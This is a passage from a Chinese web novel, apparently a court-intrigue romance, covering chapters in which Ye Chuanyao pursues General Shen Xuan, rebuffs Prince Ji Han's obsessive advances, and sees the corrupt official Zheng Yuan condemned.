叶青云看向自己儿子,犹豫片刻,慢声问:“阿遥,你与将军……” 叶川遥正色道:“爹,我心悦于他。” “虽还未言明,但我知道,将军对我也是同样的心意。” 叶青云叹口气,露出几分愁容道:“大将军清风霁月,心怀天下,是世间少有的谦谦君子。爹爹对他也是钦佩不已,但……” “他如今已处在内忧外患之中,四面楚歌。稍有不慎,便是万劫不复。” “你若执意留在他身旁……” “阿爹。”叶川遥语气坚定道,“不管以后发生什么,我想陪在他身边。” 叶青云无奈沉默,末了点点头。 “你既有了决定,阿爹也不劝你了,自己好自为之。” “嗯,”叶川遥笑道,“谢阿爹成全。” * 清晨,郑贵妃寝宫。 “寒儿,御史台正在查你舅舅,你可有法子?”郑贵妃慢声道。 季寒思忖道:“御史台不知从何处搜集到一些舅父的罪证。” “不过母妃不必太过担忧,孟少忠绝不敢供出舅父,仅凭旁的证据,舅父还不至于有性命之忧。” “没有性命之忧?” 郑贵妃抬高嗓音道:“今日早朝,周印已将此事禀报给你父皇。” “朝中上下如今都看着,季泽那边的人又添油加醋,怎可能善了?” “就算你父皇看在我们母子的份上不重罚他,这大理寺卿的位置也定是保不住了。” 季寒缓缓抬了抬眼,漫不经心道:“舅父犯下那么多事,母妃难道还妄想让他全身而退?” 郑贵妃想了想,美艳的眉眼间闪过一抹精光,柔声道:“寒儿,这些年你舅父助力你颇多。” “如今你与季泽在朝中平分秋色,若无你舅父从中周旋,你怕不是你那三哥的对手。” “你要想法子保住你舅父才是啊!” 季寒勾唇笑笑。 “母妃说得没错,舅父的确帮了我许多。不过……” “他不该自作主张。” 郑贵妃不明所以:“这是何意?” 季寒眼中闪过寒光:“舅父他不该动世子。” “混账!”郑贵妃站起身怒声道。 “你难道要为了一个男人弃你舅父于不顾,弃郑家于不顾吗?” “郑家若倒了,你觉得你还能夺下这太子之位?” 季寒对郑贵妃的斥责丝毫不在意,反笑着道:“母妃果然对此事是知晓的。” “又或者,难道是母妃的主意?” 郑贵妃睨他一眼,那双带笑的眼底透着彻骨的寒意,让她不禁心里一颤。 她并未反驳,冷声道:“任何阻碍你的人都该死。” “既然你为了一个男人不顾大局,本宫便替你解决了他。” 见季寒面色愈发阴翳,郑贵妃话锋一转,语气柔和下来。 “寒儿,我们母子等了这么久,眼看着就要大功告成,绝不能因为任何人再出差池。” “待他日继位,你想要什么样的美人没有?何苦为了一个男人耽误大业!” “母妃,”季寒把玩着手中玉佩,幽声道,“从小到大,我都按照您的要求行事。” “我喜欢什么,不喜欢什么,都是母妃说了算。” 他看向郑贵妃,一字一句道:“但世子不行,我不会允许任何人动他。” “哪怕是母妃,也不行。” “你!” 郑贵妃怒目圆睁,简直不敢置信,“荒唐!” 季寒嗤笑一声,慢条斯理道:“不过母妃尽管放心,不管为了谁,这皇位我定会夺下。” “您想要的尊贵我会给您。” “但若再敢有人动他分毫,我可不敢保证,我会做出什么事来。” 郑贵妃怒火中烧,却又无可奈何。 曾经的少年已经长大,越来越脱离她的掌控…… 第48章 得知叶川遥回京, 季岩立即上门堵人。 才一见着人就忍不住抱怨:“阿遥,你可算回来了!” “这段时日你不在京中,我一个人好没意思!” 这话并不作假。 季岩的母妃出身不高, 又早早香消玉殒。他一个人无依无靠,同几位皇子公主也不甚亲近。 而那些世家子弟虽表面对他恭敬奉承,其实私底下全都瞧不起他。 这些季岩心里都清楚, 只是假装不在意而已。 毕竟对他来说,能平平安安地活着已经很不容易了。 只有叶川遥真心待他, 视他为好友。 叶川遥笑道:“那我请殿下去吃好吃的, 如何?” “行啊,”季岩欣喜道, “听说西街上新开了一家酒肆, 梅子酒堪称一绝, 要不咱们去尝尝?” “好!”叶川遥欣然应下。 许久不见面, 他也想同季岩好好聊聊。 “那择日不如撞日,现在就去吧!” 季岩自然高兴:“走!” 两人出了府, 有说有笑地直奔西街而去。 季岩说的那家酒肆名叫醉月轩,才刚开了不过一月有余, 便已声名大噪, 引得许多文人骚客慕名而来。 盛国人喜饮酒, 不论达官贵人还是平头百姓,闲暇时都会聚在一起小酌几杯, 也算是忙碌生活里的一点慰藉。 这间酒肆瞧着与寻常酒楼并无不同,只是地方大了些。 听闻后院有几个大酒窖, 皆是精酿珍品。 季岩提到的梅子酒便是店中的招牌,名为秋露白。 此酒风味独特,产量甚少, 价格虽高得离谱,却还是供不应求。 二人上楼,入了雅座,边品酒便聊。 “这酒真不错!”季岩赞道,“清冽甘甜,果香浓郁,果然是难得的上品!” 叶川遥饮了一杯,点头道:“的确是好酒。” “不知何人能酿出如此佳酿。” 他平日虽饮酒不多,但对好酒也是珍之爱之。 “听说是位年轻公子,祖传技艺。” 季岩不甚在意地说完,看着他问:“对了,这段时日你去哪了?怎么不声不响地玩起失踪来了?” 他前几日去府上寻人,才听说叶川遥出了远门。 叶川遥漫不经心道:“去了趟陵川。” “陵川?”季岩吃惊:“你跑那么远做什么?” 叶川遥眯眼笑笑:“也没什么,就…闲着没事,出去逛逛,呵呵。” 季岩哼笑:“怎的,这偌大的临州还不够你逛的?” 话音刚落,他突觉脑袋里有什么东西赫然连在一起。 “不对,”他猜测道,“前些日子,大将军动身去陵川巡察守境大军。” “你该不会……是去找他了吧?” “不行吗?” 叶川遥坦然地看向季岩,大方承认。 这又不是什么丢人的事,没什么不能说的。 “呵呵。”季岩笑着撇撇嘴。 “你至于吗,刚从他府里搬出来才几日啊,就这么舍不得跟他分开?” 他说着往前凑了凑,轻咳一声,小声问:“哎阿遥,你跟我说说,你跟将军……到哪一步了?” “互诉衷肠?” “还是……嗯,那什么,私定终身?” 见季岩两眼放光,一脸好奇地等着他的回话,叶川遥皮笑肉不笑地扯了扯嘴角。 哼道:“不告诉你!” “……” “切,不说算了。”季岩不屑道。 “不过我一直想问你,你是从何时起对沈翾真动了心思的?” “我还以为你当初找上他,只是为了让他帮你救你爹。” “没想到你居然来真的!” 美酒入喉,叶川遥轻笑一下,嗓音清透道:“将军那样的人,我对他动心思,也没什么好奇怪的吧?” 季岩想想也对,这京中心悦沈翾的女子的确不在少数,只不过没几个敢真的上前罢了。 果然勇者方得天下。 “那你从前说的心上人呢,真的放下了?”季岩好奇问。 叶川遥笑笑,面色淡定,语气自然道:“没有啊。” “我放在心里那么久的人,怎么可能轻易放下?” “那你还……” 季岩瞪着眼,刚要痛斥他三心二意,玩弄感情,忽然话音一顿。 脑子转了转,不确定地问:“你心里的那个人,该不会就是……沈翾吧?” 叶川遥但笑不语,扭头望着街上车水马龙,小口浅酌。 微弯的桃花眼中泛出隐隐柔情,似春水流波。 季岩脸上震惊不已,消化了好一会儿才渐渐平复。 感叹道:“你也真够能忍的……” 须臾后,又问:“那沈翾呢,他可知晓此事?” 叶川遥无奈轻叹一声。 不愧是朋友,专往他心口撒盐。 他慢条斯理地饮着杯中酒,懒洋洋道:“不知道。” “连你都能猜出来的事,他却偏偏想不明白。” “真是笨死了。” 季岩:“……” 怎么这话听上去……好像有哪里不太对? 他想了想,觉得自己的好友真是不易,一时竟有些心疼。 嗓音柔和地问:“那你不打算告诉他吗?” “我为何要告诉他?” 叶川遥清声道:“告诉他我心悦他已久,让他动容,继而接受我吗?” 他轻笑一声,眼中熠熠生辉,一字一句道:“我要他的真心,要他心悦于我,而并非因我心悦于他而接受。” 季岩眨眼听着。 太深奥了,听不懂。 叶川遥看向他,见他一脸呆滞,无奈翻了个白眼。 “算了,我同你说这些做什么,你又不懂。” 季岩:“……” 又被嫌弃了。 见他一脸苦涩,叶川遥笑笑,说起别的。 “明日我要回杨护军那里,这段时日恐怕不能同殿下见面了,殿下自己保重吧。” “又要去军中?”季岩哀怨道,“你还真打算从军啊,做个文官不好吗?” “如今边境不太平,你何苦非要去涉险?” 叶川遥不以为意地轻笑,眼底盛满五彩霞光。 因为…… 他想站在那个人身旁,同他并肩作战,共护河山。 他的信仰,从来都与他有关。 两人正聊着,身旁不知何时走来一人。 一身蓝色长袍俊逸潇洒,脸上带着几分不羁的浅笑,却不显桀骜,反倒让人觉得轻快亲切。 来人清声浅笑道:“我与公子的缘分当真不浅。” 叶川遥闻声抬头,微微一愣,随即站起身回以微笑:“初一公子,又见面了。” 初一勾唇一笑,抬手指着桌上的酒问:“不知这秋露白可还合公子的心意?” “清甜润口,确是上乘佳品。”叶川遥不吝称赞。 初一脸上露出欣喜之色,嗓音轻快道:“既然公子喜欢,那我稍后便让人多取几壶来,当作是给公子的谢礼!” “多谢阁下好意,”叶川遥婉拒道,“那日不过举手之劳,阁下实在无需挂怀。” 此酒贵重难求,他不想收。 二人并不算熟识,不该有这样的牵扯。 可对方却坚持道:“公子这是瞧不上初一的酒?” “怎么会?” 叶川遥话刚出口,随即面露惊讶道:“难道阁下便是酿出这秋露白的那位高人?” 初一抬眸一笑,道:“诶,公子谬赞。高人可不敢当,不过浊酒一壶,聊以度日罢了。” 没等叶川遥回话,季岩满脸欣喜地站起身,激动道:“既如此,那我们便不客气了,多谢兄台!” 叶川遥犹豫一笑,末了道:“那便多谢初一公子。” 初一笑道:“公子何需客气。若公子不嫌弃,可以把初一当成朋友。” “我这醉月轩随时欢迎公子。” 叶川遥轻笑:“好,那叶某日后一定常来。” 陵川城将军府内。 沈翾从营中回来,凝神看着手上探子的密信,眸色幽深。 看来小少爷的日子过得甚是逍遥。 是早已将他忘了,打算另寻他欢了吗? 他思忖片刻,沉声吩咐道:“去查一下这个初一的底细,派人盯着。” “是,将军。” 探子退下后,沈翾将信重新拿起,想象着信中所说小少爷与人相谈甚欢时,眉眼跳动的模样。 那般生动的人,如今他却看不见,摸不着,只能透过寥寥几字来想象。 沈翾的心底如蚂蚁爬过,又痒又烦躁。 传言并非空穴来风。世子倾城美貌,身旁从不乏示好之人。 也许过不了多久,小少爷就真该把他给忘得一干二净了。 他蹙眉思索片刻,冲门外侍卫道:“来人,去传吴参军和李都尉!” 第49章 第二天一早, 叶川遥将行囊收拾好,还未来得及动身,府里便来了位不速之客。 季寒来得突然, 叶川遥无处可躲,只好将人迎到正厅。 季寒看着面前的人,目光在那张绝美的脸上流连片刻。 柔声叹了句:“许久不见了, 叶哥哥。” 前世的事还历历在目,叶川遥微不可察地皱了皱眉。 那日他带人去流放路上营救父亲, 却被季寒的人劫走, 带到了云波画舫。 他当时受了伤,又因长时间的打斗而体力不支。季寒将他逼到窗前, 不顾他的抗拒, 扬言定要得到他的人。 绝望之下, 叶川遥纵身跳入湖中。 直到今日, 他依然清晰地记得那冰凉湖水灌进胸口时的剧痛。 凌舟身死,父亲入狱, 这一桩桩一件件,都让他对季寒恨之入骨。 如今看着面前的人, 叶川遥只觉反感至极, 只想赶紧将人打发走。 他抬了抬手, 尽量平静道:“殿下安好。不知殿下今日前来所为何事?” 季寒走到他面前,笑着看他。 “没什么事, 只是许久未见,便想来看看你。” “听说叶哥哥刚从陵川回来, 是去…找沈翾了吗?” 叶川遥低头默默思忖一瞬。 对不住了将军,还得借您威名一用。 他面不改色道:“是,几日不见, 草民实在想念将军,便过去寻他。” 如今他与沈翾“如胶似漆”,季寒这个混蛋总可以死心了吧? 季寒眸色一沉,却并未动怒,只是有些颓力地问了句:“叶哥哥,你可曾对本王……有过哪怕一丝一毫的心动?” 叶川遥蹙了蹙眉,抿唇不语。 说实话,他一直不明白季寒对他的心思从何而起。 二人往来甚少,这些年也不过在宴会上见过几面,每次只出于恭敬寒暄几句。 难道只是因着他的美貌,就对他如此执着? 叶川遥想了想,不如趁今日一次把话说清楚,他实在不想再与此人有任何的纠葛。 他看向季寒,温声道:“六殿下,这话此前我已经同您说过,今日便再说一次。” “我对殿下并无情谊,殿下天潢贵胄,草民实在不敢高攀,还请殿下放过草民。” “我叶川遥虽身无长物、胸无大志,但也绝不会沦为他人玩物。” 季寒轻轻皱了皱眉,收起脸上的笑:“你不信本王?” “你觉得,本王只是把你当作玩物?” 叶川遥勾唇一笑,脸上多出几分不屑。 一字一句道:“六皇子,你觉得……我会相信一个陷害我全家,要置我父亲于死地的人吗?” 季寒看着他脸上的恨意,心里一痛,眼中暗潮翻涌,低声道:“本王没想要卫国公死。” 单纯的脸上满是无辜和歉意。 若不是亲身经历,叶川遥都要信了他的话。 可如今事实摆在眼前,容不得他狡辩。 叶川遥哼笑一声,决绝道:“事实如何你我心知肚明。我与殿下道不同,不相为谋。殿下的错爱,我也受不起,请回吧。” 季寒蹙眉看着面前的人,心底的阴暗蠢蠢欲动。 他想要这个人,想要将他占为己有。 想要荒凉的黑夜里有他依偎,想要他只属于他一个人。 叶哥哥是他的,不管付出什么代价,他都一定要得到他。 季寒低头轻笑一声,方才的深情模样消失殆尽,周身只剩阴鸷之气。 “阿遥,你以为,他沈翾能护得了你多久?” “本王会让你看清楚,只有本王,才是对你最真心实意的那个人。” 这话让叶川遥简直想笑。 一个害得他无家可归,葬身湖底之人,也配跟他提什么真心? 他微微俯身,面无表情道:“殿下慢走。” 季寒阴沉着脸拂袖而去。 叶川遥招来下人,吩咐道:“天儿热,你们赶紧往院子里多撒些水,好好去去晦气!” 下人们闻言当即忙起来,叶川遥则拿起包袱,匆匆动身。 被季寒那厮耽误了些时辰,他赶到军营时到底还是晚了些。 没想到明烛也在。 “阿遥你来了!”明烛见他笑着道。 毕竟是在军营,将士们都瞧着呢,叶川遥不好嘻嘻哈哈。 他抱了抱拳,朝屋内二人恭敬见礼:“明将军,杨护军,属下来迟,还请将军恕罪。” 杨护军和善一笑:“哎,无妨,世子还未正式入我中军,不算军中之人,不必如此遵从军中规矩。” 叶川遥微笑道:“我既来了中军大营,便该守咱们中军的规矩。” “若肆意妄为,岂不有损诸位将军威名?” 杨护军摆摆手,不以为意:“诶,世子言重了!我等平日里也不是每日都准时来营中,无需挂怀!” 叶川遥笑笑,不再纠结此事。 三人在屋内坐下,杨护军问明烛:“明将军今日来此,可是大将军有什么吩咐?” 明烛笑道:“没什么,今日无事,便过来看看。” “大将军还需过几日才会回京,世子这里就请杨护军多加照拂了。” 杨护军了然一笑,痛快应道:“这是自然,世子在末将这里绝对不会受一丝委屈,请明将军和大将军尽管放心!” 明烛看向杨护军,缓缓道:“世子有辅军之才,可从参军事务着手,多加历练,日后对我军必有助益。杨护军多费心。” 叶川遥:“……” 此情此景让他想起幼时刚入学堂那会儿,父亲也是这般去拜托先生的。 想让先生倾囊相授,又怕先生太过严厉,让他吃了苦头。 想不到弱冠之年,他又体验了一回当年滋味。 不过他到底是有多柔弱,才让他们如此不放心?! 明明现在已经很强了好吧! 叶川遥冲着两人无奈一笑。 明烛的好意他自然知晓。 只是不知,这是明烛自己的意思,还是旁人的授意…… 在军中的日子过得格外快。 虽事务繁杂,颇为忙碌,但叶川遥却觉得格外充实。 只是夜里入梦前,总是难免想起沈翾那张略带刻板的脸。 一板一眼,当真是无趣得紧。 也不知沈翾这些日子过得怎么样,不会已经把他给忘了吧?! 若真是如此,岂不前功尽弃,又得重新再来? 那还不如跳湖算了! 这日,叶川遥历经多时,终于将军中名册重新分类整理好。得了些空闲,便去看将士们操练。 休息时无意间听见议论声。 “哎,你们听说了吗?卫国公世子来了咱们军中!” “这世家公子来咱们这军营做什么?” “听说是跟着杨护军熟悉军中事务,说不准日后就是咱们的参军!” “自从王参军告老,这参军一职一直空缺,原来是早有安排啊!” “可先不说这位世子有没有这个本事,就说他如此年轻,瞧着细皮嫩肉,弱不禁风的,能吃得了军中的苦吗?” “好好的世家公子不做,非要跑来军营受罪,大将军也舍得?” 这话引得一阵哄笑,有人道:“有什么舍不得的,世子才情卓越,若真把他困在后宅之中,那才是真可惜了。” “也是,咱们大将军看上的人,想来不会差。” 叶川遥默默听着,不为所动。 从前类似的话他听的多了,如今已经掀不起什么波澜。 不过…… 若他受了苦,沈翾真会舍不得吗? 自从回来后都没怎么练功,叶川遥换了身衣服,干脆同大家一起操练。 见他丝毫不矫情,还总是面带微笑,明朗又和善,大家也渐渐放下成见,对他热络起来。 叶川遥出了一身的汗,脸上水汽蒙蒙,细腻的皮肤仿佛在发着白光。 非但丝毫不显狼狈,反而格外生出几分别样的俊逸之美来。 正要解散之际,有人来报,说杨护军请他去大营一趟,有要事相商。 叶川遥没有耽搁,连衣裳都没换,便立刻前往。 他推门而入,却见屋内空无一人。 杨护军还没有到吗? 正纳闷之时,听见身后倏地传来开门声。 叶川遥转身回头,就见沈翾逆着光朝自己缓缓走来。 他的脸上依旧淡然清冷,黑白分明的眼底看不出情绪。 日光落在他身后,将颀长的身影拉得更长了些。 叶川遥站在原地一动不动,抿唇看着面前的人。 明明朝思暮想之人已在眼前,思念却还是疯涌而出。 沈翾在叶川遥面前站定,目光深邃地看着他。 顿了顿,轻声问:“在军中一切可好?” 叶川遥将目光从沈翾脸上缓缓移开,忍着想要抱住他的冲动,低头行了个常礼。 嗓音无波道:“回将军,一切都好。” 恭敬又生疏的语气让沈翾微微一愣,心里像被针尖刺了下。 看来这次是真把小少爷惹急了。 见白皙的脸颊不知何时蹭上一点灰尘,沈翾抬起手,想用拇指替他抹掉。 方一靠近,面前之人将头一偏,躲过他的触碰。 叶川遥不着痕迹地向后挪了挪身子。 想摸脸就摸脸,想握手就握手,当他叶川遥是什么人? 难不成天下的便宜都让他沈翾一个人占了? 哼,在没给他准话之前,他不会再让沈翾碰他一下。 连一根头发丝也不行! 他还就不信治不了这个木头! 沈翾面色一僵,悬着的手默默收回。 眼神有些受伤。 叶川遥看他一眼,咬了咬唇,一狠心将怀里的令牌掏出来,递到他面前。 淡淡道:“之前说好,等将军回来便物归原主的。” 沈翾蹙眉看着他手里的令牌,心里酸涩难忍。 默了默,沉声道:“既给了你,又岂有收回的道理,世子好生收着便是。” 叶川遥不懈道:“此物太过贵重,阿遥又不是将军的什么人,怎好收下如此贵重之物?” “将军还是拿回去吧,若这令牌有什么闪失,我可担待不起。” 沈翾的脸色愈发难看。 这是要彻底不再同他来往了吗? “阿遥。”沈翾忍下心底苦涩,轻轻唤了声。 他在心里想了想措辞,轻声道:“那日是我不好,我对你……” “将军回来了?末将……” 杨护军风风火火地从门外进来,见屋内两人神色有异,遂话音一顿。 他是不是进来得不是时候? 叶川遥无声地叹了口气。 这世上大概没有比他情路更坎坷的人了吧…… 杨护军咧了咧嘴,尴尬道:“那个,你们聊,末将一会儿再过来!” “无妨,”叶川遥出声将人留住,朝两人俯了俯身,道:“属下告退。” 说完不等沈翾开口,便大步出了门。 杨护军看着沈翾阴沉的脸色,心里不禁有些忐忑。 他是不是惹祸了? 沈翾叹口气,面色不虞地看向他,冷冷道:“有什么事,说吧。” 第50章 见沈翾一脸寒气地盯着自己, 杨护军憨笑一声,顶着满脸的褶子道:“将军,陛下召您进宫。” 沈翾嗯了声, 抬脚行至门口,又回头道:“杨护军。” 对方微笑:“将军有何吩咐?” “明日可是休沐?”沈翾问。 “对啊。”杨护军点点头,不明所以。 沈翾嗯了声, 慢条斯理道:“明日去府里找我。” 杨护军心里一咯噔,上前紧张地询问:“可是京中有什么异动?” “无事, ”沈翾一脸淡然, 漫不经心道:“只是想跟杨护军聊聊军中近况。” 杨护军:“……” 一整个欲哭无泪。 半月一日的休沐啊! 还要去禀报公务? 他咧了咧嘴,赔着笑同沈翾商量。 “将军, 明日末将需回府陪夫人过寿。您知道的, 我家那位脾气大, 末将若是不回去, 怕是一个月都进不了家门!” “要不,我后日再去您府上回话, 将军看行吗?” 沈翾看着他,想了想, 问:“你打算如何为杨夫人贺寿?” 杨护军笑道:“贱内好哄, 每年不过送几样她喜欢的珠钗, 再说些好听的便足矣。” “一家人高高兴兴地吃顿饭,比什么都强!” 沈翾闻言目光闪了闪, 道:“明日好好给夫人贺寿,过几日我再过来。” 杨护军愣了愣, 随即应了声好。 叶川遥回到自己房中,沐浴更衣后坐在桌子前发愣。 沈翾方才到底想同他说什么? 简直要好奇死了! 他晃了晃手中的令牌,想起方才沈翾黑着的脸, 不由地弯唇轻笑一声。 行吧,他暂且就先收着。 不过此物关系重大,日后还是要找机会还给他才是。 东书房内,皇帝端坐着。 周印立于堂下,将手上之物交给内侍,清声道:“陛下,此乃宜州案和郑元案的卷宗,请陛下过目。” 皇帝从内侍手中将卷宗接过,垂眸一阅。 须臾后,面色不明道:“按我朝律例,该如何罚便如何罚吧。” “不过……” 皇帝话音一顿:“郑元毕竟于朕登基有功,便免了其死罪,判个终身流放便是。” 周印眼中闪过不明微光,未加反驳,躬身应道:“是,臣领旨。” 皇帝将卷宗放下,想了想,看着周印问:“周爱卿向来刚正,从不结党营私。” “依你之见,这吏部尚书和大理寺卿之位,何人可堪胜任啊?” 吏部主官员选调及升迁之事,关乎朝政。 大理寺掌管刑狱,更是重中之重。 如今有了前车之鉴,用人自然是要更慎重些。 “回陛下,”周印慢条斯理道,“礼部侍郎冯吉家世清白,为人正直。臣以为,可任吏部尚书一职。” “至于大理寺卿,御史台与大理寺常有意见相悖,臣不好置喙,还请陛下定夺。” 皇帝思忖着点点头:“冯吉确实不错,那就他吧。” “大理寺卿的人选……朕再想想。” 说话间有内侍前来禀报:“陛下,大将军求见。” “让他进来。” 沈翾稳步踏入书房,行至皇帝面前躬身道:“参见陛下。” “见过大将军。”一旁的周印拱手道。 沈翾侧眸看他一眼,微微颔首:“周大人。” 皇帝看着沈翾道:“朕听人说,你一回京,连你的将军府都不回,就直奔中军大营。可是有何要事?” 沈翾眸色微动。 皇帝对他的行踪倒是了如指掌。 他温声道:“并无大事,只是许久未去营中,今日正好得空,便过去看看。” 皇帝嗯了声,并未深究,看着他问:“朕听闻爱卿在陵川遭人行刺,伤势可无碍了?” 沈翾躬身道:“谢陛下关怀,一点小伤,早已无碍。” “可查出是何人所为?” 沈翾如实道:“是西夷潜伏在我国的探子,臣已将他们的据点尽数剿灭。” “如此便好。”皇帝点点头,转而说起别的。 “今日两位爱卿都在,朕刚好有件事想同你们商量。” “陛下请讲。” 皇帝笑道:“下个月万寿节,朕有意邀各地藩王进京同庆,以示皇恩。” “不知二位爱卿意下如何啊?” 周印与沈翾对视一眼,短短一息间已将皇帝的心思揣摩出七八分。 皇帝近年来痴迷求仙问道,愈发贪图享乐,无心朝政。 日子过得太舒坦,便容易患得患失,总觉得有无数双贪婪的眼睛盯着这至尊之位。 此次召藩王进京,一为试探,二为敲打,好让他们收起不该有的心思。 再或者,皇帝也许还有别的打算。 沈翾眸色沉了沉,面不改色道:“陛下思虑周全,如此甚好。” 周印亦赞同道:“陛下圣明。” “好,”皇帝面色欣喜道,“那便辛苦两位爱卿,将朝中诸事安排妥当。” “大将军,这京中的安危,朕可就交给你了!” 沈翾颔首:“臣自当尽力。” 从东书房出来,沈翾和周印并排朝宫门而去,两人之间隔着不远不近的距离。 周印嗓音带笑道:“听闻大将军今日一回京便去了中军大营,不知究竟是何人能让将军如此在意?” 沈翾目视前方,漫不经心道:“周大人什么时候也开始关心起沈某的事了?” 周印笑笑:“没想到你沈翾平日里老谋深算,于情事上却如此愚笨。” 沈翾侧眸冷冷地睨他一眼,幽声道:“周大人倒是聪慧,可为何至今还未求娶到华阳公主?” 周印面色一僵,叹口气不再多言。 二人出了宫门,身后宫人渐渐远去,周印低声道:“不出你所料,陛下果然饶了郑元死罪。” 沈翾并不意外地嗯了声,道:“明日早朝,依计行事。” 翌日早朝,宜州案宣判。 此案大小官员共涉案九十五人。 主犯孟少忠勾结杜明轩贪赃受贿,培养党羽,残害百姓,藐视朝纲,依律满门抄斩。 其余涉案官员全部罢黜贬谪,按律判罚。 郑元贪赃受贿,扰乱朝纲,歪曲事实酿成冤假错案数十件。 依律罢黜其大理寺卿之职,抄没家产,流放西境,终生不得探视。 沈翾眼底暗了暗,玄色衣袍微微一摆,站出来道:“启禀陛下。” “臣今日收到密报,称郑元于八年前假传圣旨,谎报军情,残害禁军。” “供词在此,相关人证已在殿外跪候,只等陛下通传。” 此言一出,群臣哗然,殿内窃窃私语之声不绝。 皇帝脸色黑了黑,眼底寒光翳翳。 默了默,硬着头皮道:“传!” 罗二和吴越从殿外稳步而来,跪于堂下。 “吴统领?” 有朝臣认出来人,惊讶道,“你,你竟还活着?” 吴越弯腰叩头,看向端坐于高椅之上的皇帝,高声道:“草民吴越,叩见陛下!” 周印看向二人,道:“你二人将事情原委悉数道来,不可有半句虚言。” “是。”吴越和罗二齐声应道。 吴越将八年前自己是如何接到密令,后续禁军又是如何杀害运粮兵将,如何被追杀。 一桩桩一件件,不紧不慢地和盘托出。 此事来得突然,皇帝措手不及,看向沈翾的眼神冷如冰霜。 好一个大将军。 他心知保不住人,闭了闭眼,道:“将郑元带上来。” 许久后,狱丞将郑元带到朝堂之上。 郑元睨向跪着的吴越和罗二,心下了然。 宫人将供词摊开在他面前。 皇帝看着他,目光深沉地问:“郑元,这供词上说的,你可认?” 郑元抬眼扫过,面不改色道:“事已至此,臣也没什么好隐瞒的。” “不错,当年的确是罪臣假传圣旨,害了沈老将军、林大人一家和禁军二十几位兄弟。” 在场的武将们闻言激愤难忍,高声斥责,恨不得冲上去直接将人一刀砍了。 百官齐呼,请求皇上还死去的将士和禁军一个公道。 皇帝攥了攥拳,虽恨到极点却又无可奈何,站起身厉声道:“三日后问斩。退朝!” 自此,朝中格局一朝巨变。 郑家已倒,六皇子一党也失去半臂助力。 下朝后,郑贵妃在皇帝寝宫前跪了一晌午,直至晒晕过去。 到底是宠妃,皇帝于心不忍,请太医看过后,还亲自去郑贵妃寝宫探望。 郑贵妃面色苍白,躺在床上泫然欲泣,我见犹怜道:“陛下,您怎能如此狠心?” “纵使兄长有百般不是,但也有当初祝您登上皇位之功,为何不肯饶他一命?” 皇帝叹口气,语重心长道:“朕又何尝不心痛?但此案朝中百官都看着,朕实在无法徇私。” “况且……” 皇帝顿了顿,声音沉了几分:“平日里朕可以睁一只眼闭一只眼,他若藏得住,朕也可不予追究。” “但如今他被人抓了如此大的把柄,你让朕如何保他?” “可陛下明明知道,兄长他是替陛下……” 话还未完,皇帝面色阴翳地看向她,哂笑一声:“爱妃这是在怪朕?” 郑贵妃面色一变,眼中布满惊恐,忙道:“臣妾不敢,臣妾只是……” 皇帝看向榻上之人,轻笑一声:“爱妃,你真当朕不知,那孟少忠和你那兄长贪墨的银两去了何处?” 郑贵妃不可置信地看向皇帝,吓得话都说不出口。 皇帝笑笑,嗓音恢复如常:“寒儿是朕最疼爱的皇子,这皇位,朕将来自然是要给他的。” “不过,朕给他是一回事,但他等不及,要来跟朕要,便是另外一回事了。” 明明是带着笑意的语气,却让郑贵妃不寒而栗。 她忙直起身,朝皇帝低头道:“陛下何出此言?” “寒儿最是敬重您这个父皇,陛下可莫要听信谗言,疑心寒儿啊!” 皇帝将人扶着躺下,依旧面色温和。 “朕只是说如果,爱妃急什么。” 他站起身,居高临下地看着郑贵妃。 “郑元所犯之罪本该满门抄斩,如今未牵连你们母子已是天恩,爱妃应当高兴才是。” “如此为你那兄长鸣不平,可是怕黄泉路远,想去陪他?” 郑贵妃浑身颤抖着跪在榻上。 哭着道:“是臣妾失言,臣妾知错了,陛下恕罪!” 皇帝轻笑一声:“好生歇着吧。” 说完负手离去。 郑贵妃颓力地倒在一旁,眼里迸发出隐隐寒光。 她一定要让寒儿得到太子之位。 害她郑家的人,她一个也不会放过! 沈翾在回府的路上经过几家点心铺子,都是叶川遥平日里喜欢吃的。 他挑了几样,让店家第二天一早做好,再让人送去军中。 叶川遥收到食盒时颇为意外。 大将军这是在……讨他欢心? 他咬了一口芙蓉糕,清甜软糯,一直甜到了心里。 嘴角不由翘了翘。 没想到这个木头还知道投其所好,看来还不算无药可救嘛… 食盒最下面还有个香囊,里面装着一枚玉佩和一张字条。 叶川遥将玉佩拿在手里,通体润泽,触手生凉,当真是极好的。 打开字条,俊逸刚劲的字体跃然眼前。 【公子如玉,当世无双。】 叶川遥不禁失笑。 嗯,别说,这马屁拍的…… 还挺受用。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 50-60 第51章 亥时三刻, 黑夜笼罩,万籁俱寂。 沈翾只身来到御史台,见周印已在牢门口等他。 御史台虽设有私狱, 但官员犯了案通常皆关在大理寺或刑部大牢,只有需要审问时才会将人关押于此。 郑元乃重犯,又原为大理寺卿。 为免徒生枝节, 故而行刑前都由御史台亲自收押。 狱丞打开牢门,二人踏门而入。 郑元坐在草席上, 透过狭小的天窗望着外面漆黑的夜, 眼神空洞。 昔日宠臣如今已沦为阶下之囚。 他听到声响,转头看过来, 见到两人微微一怔。 随即嗤笑一声:“我早该想到。” 他看向周印, 语气里带着怨恨。 “这几年御史台与大理寺明争暗斗。我本以为, 周大人只是不知变通, 太过刻板了些。” “没想到竟早已倒戈一方。” “不过周大人,你就不怕选错了人?” “这天下到底是季家的天下。” “只要皇子尚在, 他沈翾就算重兵在握,也终究名不正, 言不顺。” 周印不以为意地微微一笑, 清声道:“郑大人多虑了。” “周某无心党争, 为人行事只求天理公正。” “若郑大人不行伤天害理之事,周某自然也不会与大人为敌。” 郑元哼了声:“不过成王败寇罢了, 又何必惺惺作态!” 沈翾缓缓走到他面前,目光幽深地看着他道:“郑元, 当年你假传圣旨,害死无数将士百姓。” “林大人与你同朝为官多年,禁军更是视你为兄弟。” “这些年午夜梦回时, 你可睡得安稳?” 郑元目光一顿,不由地想起从前在禁军时的日子。 却也只是一瞬而已。 他笑了笑,一副不以为意的姿态,云淡风轻道:“谁也没有重来一次的机会。” “我郑某行事从不后悔,既做了,自然不怕。” 沈翾闻言弯了弯唇,并不气恼。 奸人若有悔过之心,当初便不会行大奸大恶之事。 哪来的知罪,不过是迫不得已罢了。 郑元有句话说得不错,成王败寇。 今日若败的是他,郑元所行之事或许便会成为正义之举。 他看着郑元一夜变老的脸,慢条斯理道:“我一直很好奇,沈家与郑家并无仇怨,你为何如此处心积虑,大费周章,非要除掉沈家?” 人之将死,没什么话是不能说的。 郑元嗓音沧桑道:“沈家手握重兵,于帝位威胁慎重。” 